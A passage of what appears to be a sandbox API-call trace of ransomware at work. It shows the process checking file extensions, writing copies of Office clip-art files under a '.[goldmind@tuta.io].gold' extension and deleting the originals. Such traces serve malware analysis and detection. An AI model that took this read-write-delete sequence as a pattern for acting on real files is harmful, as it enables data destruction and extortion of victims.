(lpString1=".1cd", lpString2=".GIF") returned -1 [0102.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.833] lstrlenW (lpString=".jpg") returned 4 [0102.833] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.833] lstrlenW (lpString=".doc") returned 4 [0102.833] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.833] lstrlenW (lpString=".docx") returned 5 [0102.833] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0102.833] lstrlenW (lpString=".pdf") returned 4 [0102.833] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.833] lstrlenW (lpString=".xls") returned 4 [0102.833] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.833] lstrlenW (lpString=".xlsx") returned 5 [0102.833] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0102.833] lstrlenW (lpString=".ppt") returned 4 [0102.833] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.833] lstrlenW (lpString=".zip") returned 4 [0102.833] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.833] lstrlenW (lpString=".rar") returned 4 [0102.833] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.833] lstrlenW (lpString=".bz2") returned 4 [0102.833] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.833] lstrlenW (lpString=".7z") returned 3 [0102.833] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.833] lstrlenW (lpString=".dbf") returned 4 [0102.833] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.833] lstrlenW (lpString=".1cd") returned 4 [0102.833] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.833] lstrlenW (lpString=".jpg") returned 4 [0102.833] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.833] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.833] lstrlenW (lpString="J0099204.WMF") returned 12 [0102.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0103.155] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=17854) returned 1 [0103.155] CloseHandle (hObject=0x398) returned 1 [0103.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 0x20 [0103.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.977] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.977] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.979] GetLastError () returned 0x0 [0103.979] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x45be, lpOverlapped=0x0) returned 1 [0103.981] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0103.982] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.982] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.982] SetEndOfFile (hFile=0x198) returned 1 [0103.982] CloseHandle (hObject=0x198) returned 1 [0103.982] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.982] SetEndOfFile (hFile=0x3b4) returned 1 [0103.984] CloseHandle (hObject=0x3b4) returned 1 [0103.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0103.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.985] lstrlenW (lpString=".doc") returned 4 [0103.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0103.985] lstrlenW (lpString=".docx") returned 5 [0103.985] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0103.985] lstrlenW (lpString=".pdf") returned 4 [0103.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0103.985] lstrlenW (lpString=".xls") returned 4 [0103.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0103.985] lstrlenW (lpString=".xlsx") returned 5 [0103.985] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0103.985] lstrlenW (lpString=".ppt") returned 4 [0103.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0103.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.985] lstrlenW (lpString=".zip") returned 4 [0103.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0103.985] lstrlenW (lpString=".rar") returned 4 [0103.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0103.985] lstrlenW (lpString=".bz2") returned 4 [0103.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0103.985] lstrlenW (lpString=".7z") returned 3 [0103.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0103.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.985] lstrlenW (lpString=".dbf") returned 4 [0103.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0103.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.985] lstrlenW (lpString=".1cd") returned 4 [0103.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0103.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.985] lstrlenW (lpString=".jpg") returned 4 [0103.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0103.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.986] lstrlenW (lpString=".doc") returned 4 [0103.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0103.986] lstrlenW (lpString=".docx") returned 5 [0103.986] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0103.986] lstrlenW (lpString=".pdf") returned 4 [0103.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0103.986] lstrlenW (lpString=".xls") returned 4 [0103.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0103.986] lstrlenW (lpString=".xlsx") returned 5 [0103.986] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0103.986] lstrlenW (lpString=".ppt") returned 4 [0103.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0103.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.986] lstrlenW (lpString=".zip") returned 4 [0103.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0103.986] lstrlenW (lpString=".rar") returned 4 [0103.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0103.986] lstrlenW (lpString=".bz2") returned 4 [0103.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0103.986] lstrlenW (lpString=".7z") returned 3 [0103.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0103.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.986] lstrlenW (lpString=".dbf") returned 4 [0103.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0103.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.986] lstrlenW (lpString=".1cd") returned 4 [0103.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0103.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0103.986] lstrlenW (lpString=".jpg") returned 4 [0103.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0103.986] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0103.986] lstrlenW (lpString="J0101862.BMP") returned 12 [0103.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.987] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=32184) returned 1 [0103.987] CloseHandle (hObject=0x3b4) returned 1 [0103.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 0x20 [0103.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.987] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.987] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.988] GetLastError () returned 0x0 [0103.988] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0103.990] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0103.991] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.991] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.991] SetEndOfFile (hFile=0x198) returned 1 [0103.991] CloseHandle (hObject=0x198) returned 1 [0103.991] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.991] SetEndOfFile (hFile=0x3b4) returned 1 [0103.993] CloseHandle (hObject=0x3b4) returned 1 [0103.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0103.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.994] lstrlenW (lpString=".doc") returned 4 [0103.994] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0103.994] lstrlenW (lpString=".docx") returned 5 [0103.994] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0103.994] lstrlenW (lpString=".pdf") returned 4 [0103.994] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0103.994] lstrlenW (lpString=".xls") returned 4 [0103.994] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0103.994] lstrlenW (lpString=".xlsx") returned 5 [0103.994] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0103.994] lstrlenW (lpString=".ppt") returned 4 [0103.994] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0103.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.994] lstrlenW (lpString=".zip") returned 4 [0103.994] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0103.994] lstrlenW (lpString=".rar") returned 4 [0103.994] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0103.994] lstrlenW (lpString=".bz2") returned 4 [0103.994] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0103.994] lstrlenW (lpString=".7z") returned 3 [0103.994] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0103.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.994] lstrlenW (lpString=".dbf") returned 4 [0103.994] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0103.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.994] lstrlenW (lpString=".1cd") returned 4 [0103.994] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0103.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.994] lstrlenW (lpString=".jpg") returned 4 [0103.995] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0103.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.995] lstrlenW (lpString=".doc") returned 4 [0103.995] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0103.995] lstrlenW (lpString=".docx") returned 5 [0103.995] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0103.995] lstrlenW (lpString=".pdf") returned 4 [0103.995] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0103.995] lstrlenW (lpString=".xls") returned 4 [0103.995] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0103.995] lstrlenW (lpString=".xlsx") returned 5 [0103.995] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0103.995] lstrlenW (lpString=".ppt") returned 4 [0103.995] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0103.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.995] lstrlenW (lpString=".zip") returned 4 [0103.995] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0103.995] lstrlenW (lpString=".rar") returned 4 [0103.995] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0103.995] lstrlenW (lpString=".bz2") returned 4 [0103.995] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0103.995] lstrlenW (lpString=".7z") returned 3 [0103.995] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0103.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.995] lstrlenW (lpString=".dbf") returned 4 [0103.995] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0103.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.995] lstrlenW (lpString=".1cd") returned 4 [0103.995] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0103.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0103.995] lstrlenW (lpString=".jpg") returned 4 [0103.995] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0103.995] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0103.995] lstrlenW (lpString="J0101863.BMP") returned 12 [0103.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.996] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=32184) returned 1 [0103.996] CloseHandle (hObject=0x3b4) returned 1 [0103.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 0x20 [0103.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.996] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.996] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.997] GetLastError () returned 0x0 [0103.997] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0103.999] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0104.000] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.000] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.001] SetEndOfFile (hFile=0x198) returned 1 [0104.001] CloseHandle (hObject=0x198) returned 1 [0104.001] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.001] SetEndOfFile (hFile=0x3b4) returned 1 [0104.004] CloseHandle (hObject=0x3b4) returned 1 [0104.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0104.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.005] lstrlenW (lpString=".doc") returned 4 [0104.005] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.005] lstrlenW (lpString=".docx") returned 5 [0104.005] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0104.005] lstrlenW (lpString=".pdf") returned 4 [0104.005] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.005] lstrlenW (lpString=".xls") returned 4 [0104.005] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.005] lstrlenW (lpString=".xlsx") returned 5 [0104.005] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0104.005] lstrlenW (lpString=".ppt") returned 4 [0104.005] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.005] lstrlenW (lpString=".zip") returned 4 [0104.005] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.005] lstrlenW (lpString=".rar") returned 4 [0104.005] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.005] lstrlenW (lpString=".bz2") returned 4 [0104.005] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.005] lstrlenW (lpString=".7z") returned 3 [0104.005] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.005] lstrlenW (lpString=".dbf") returned 4 [0104.005] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.005] lstrlenW (lpString=".1cd") returned 4 [0104.005] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.005] lstrlenW (lpString=".jpg") returned 4 [0104.005] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.005] lstrlenW (lpString=".doc") returned 4 [0104.005] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.005] lstrlenW (lpString=".docx") returned 5 [0104.005] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0104.005] lstrlenW (lpString=".pdf") returned 4 [0104.005] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.005] lstrlenW 